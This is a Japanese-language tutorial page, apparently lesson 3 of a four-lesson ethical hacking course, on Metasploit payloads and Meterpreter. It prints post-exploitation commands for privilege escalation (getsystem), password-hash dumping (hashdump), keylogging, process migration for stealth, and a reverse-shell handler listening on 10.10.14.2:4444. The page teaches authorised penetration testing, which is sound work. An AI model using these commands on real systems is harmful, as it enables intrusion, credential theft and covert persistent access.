ペイロードとMeterpreter
侵入後のシェル
「ペイロードとMeterpreter」はCoddyKit上の無料Ethical Hacking Academyレッスンです。 これはレッスン3/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはEthical Hacking Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 Ethical Hacking Academyコースには全4レッスンが含まれています。
ペイロードとは
ペイロードは、エクスプロイトが成功した後にターゲット上で実行されるコードです。単一のコマンドの実行から完全な対話型シェルの起動まで、次に実行できる操作を定義します。
適切なペイロードは、ターゲットの OS、ネットワーク構成、必要なアクセス権限の範囲によって異なります。
ステージ型と非ステージ型
ペイロードには、2 種類の配信方式があります。
- ステージ型(
meterpreter/reverse_tcpの/に注目してください):最初に小さなスタブを送信し、その後で完全なペイロードをダウンロードします。初期フットプリントを小さくできます。 - 非ステージ型(
meterpreter_reverse_tcpの_に注目してください):ペイロード全体を一度に配信します。不安定なネットワークでは、こちらのほうが信頼性が高くなります。
バインドシェルとリバースシェル
接続方向には 2 種類あります。
- バインドシェル:ターゲットがポートを開いて待ち受け、こちらからターゲットへ接続します。ファイアウォールでブロックされることがよくあります。
- リバースシェル:ターゲットからこちらへ(LHOST/LPORT に)接続を戻します。通常、外向き通信を許可するファイアウォールをすり抜けやすい方式です。
この理由から、リバースペイロードが一般的なデフォルトになっています。
Meterpreter の概要
Meterpreter は、Metasploit の高度なペイロードです。基本的なコマンドシェルとは異なり、メモリ上で動作し、暗号化されたチャネルで通信します。また、ポストエクスプロイト向けの豊富なコマンドを利用できます。
ディスクに書き込まずに動作するため、別の実行ファイルを配置するよりもステルス性に優れています。
Meterpreter の基本コマンド
Meterpreter のセッションを取得したら、基本的なコマンドでターゲットの状況を把握します。
sysinfo # OS, architecture, hostname
getuid # current user context
ps # running processes
pwd ls cd # filesystem navigationファイル転送
Meterpreter では、簡単なコマンドで自分のマシンとターゲットの間でファイルを転送できます。許可されたテストで証拠を取得したり、ツールを配置したりする際に便利です。
download C:\\Users\\admin\\secret.txt /tmp/
upload /tmp/tool.exe C:\\Windows\\Temp\\システムシェルへの移行
shell コマンドを使うと、Meterpreter からターゲット固有のコマンドインタープリター(cmd.exe または /bin/sh)に移行し、OS レベルのコマンドを直接実行できます。
exit と入力すると、セッションを失わずに Meterpreter のプロンプトへ戻れます。
shell
# C:\> whoami
# exit -> back to meterpreter権限昇格
多くの場合、最初に取得できる権限は限定されています。Meterpreter には、権限を昇格するための機能があります。
getsystemは、既知の手法を使って Windows の SYSTEM 権限の取得を試みます。local_exploit_suggesterポストモジュールは、ホストに対して利用できるローカル権限昇格エクスプロイトを推奨します。
より高い権限を取得すると、認証情報のダンプや、さらに深いアクセスが可能になります。
getsystem
run post/multi/recon/local_exploit_suggesterプロセスの移行
セッションはプロセス内で動作しています。そのプロセスが不安定、または終了させられる可能性が高い場合は、より安定した長時間稼働のプロセスへ migrate して、セッションを維持します。
自分の権限レベルに合ったプロセスへ移行すると、通常の動作に紛れ込みやすくなり、ユーザーコンテキストを変更できる場合もあります。
ps
migrate 1340 # migrate into a stable PIDアクセスの維持
Meterpreter には、許可された評価中に有用なデータを収集する機能があります。たとえば、hashdump でパスワードハッシュを収集したり、keyscan ツールで入力取得の影響を実証したりできます。
このような機能は、合意された範囲内でのみ使用し、すべての操作をクライアント向けレポートに記録してください。
hashdump
run post/windows/gather/checkvmハンドラー
リバースペイロードでは、接続を受け取るために自分の側で待ち受けるものが必要です。multi/handler モジュールがその役割を担います。ペイロードの生成時に使用したものと同じペイロード、LHOST、LPORT を設定します。
コンソールの外で msfvenom のペイロードを配信する場合、これは不可欠です。まずハンドラーを起動し、その後でターゲット上のペイロードを実行します。
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.14.2
set LPORT 4444
exploit -jクイックチェック
制限の厳しいファイアウォールをすり抜けるペイロードを選んでください。
まとめ
ペイロードと Meterpreter について学びました。
- ペイロードにはステージ型(/)と非ステージ型(_)、バインドとリバースがあります。通常、リバースのほうがファイアウォールを通過しやすくなります。
- Meterpreter は暗号化されたチャネルを介してメモリ上で動作し、豊富なコマンドを提供します。
- 基本的な操作は、sysinfo、getuid、ps、download/upload、shell です。
- getsystem と local_exploit_suggester で権限を昇格し、安定性のために migrate を使います。
- 情報収集機能は範囲内でのみ使用し、すべてを記録します。
次は、ポストエクスプロイトモジュール、ピボッティング、情報収集について学びます。
よくある質問
「ペイロードとMeterpreter」レッスンは無料ですか?
はい。「ペイロードとMeterpreter」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、Ethical Hacking Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 Ethical Hacking Academyコースには全4レッスンが含まれています。
「ペイロードとMeterpreter」で何を学びますか?
侵入後のシェル ブラウザで直接実行するハンズオンコードでEthical Hacking Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
Ethical Hacking Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのEthical Hacking Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン3/4です。
「ペイロードとMeterpreter」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このEthical Hacking Academyレッスンでコードを書いて実行できますか?
はい。すべてのEthical Hacking Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- Metasploitアーキテクチャ
- エクスプロイトの検索と利用
- ペイロードとMeterpreter
- 侵入後のモジュール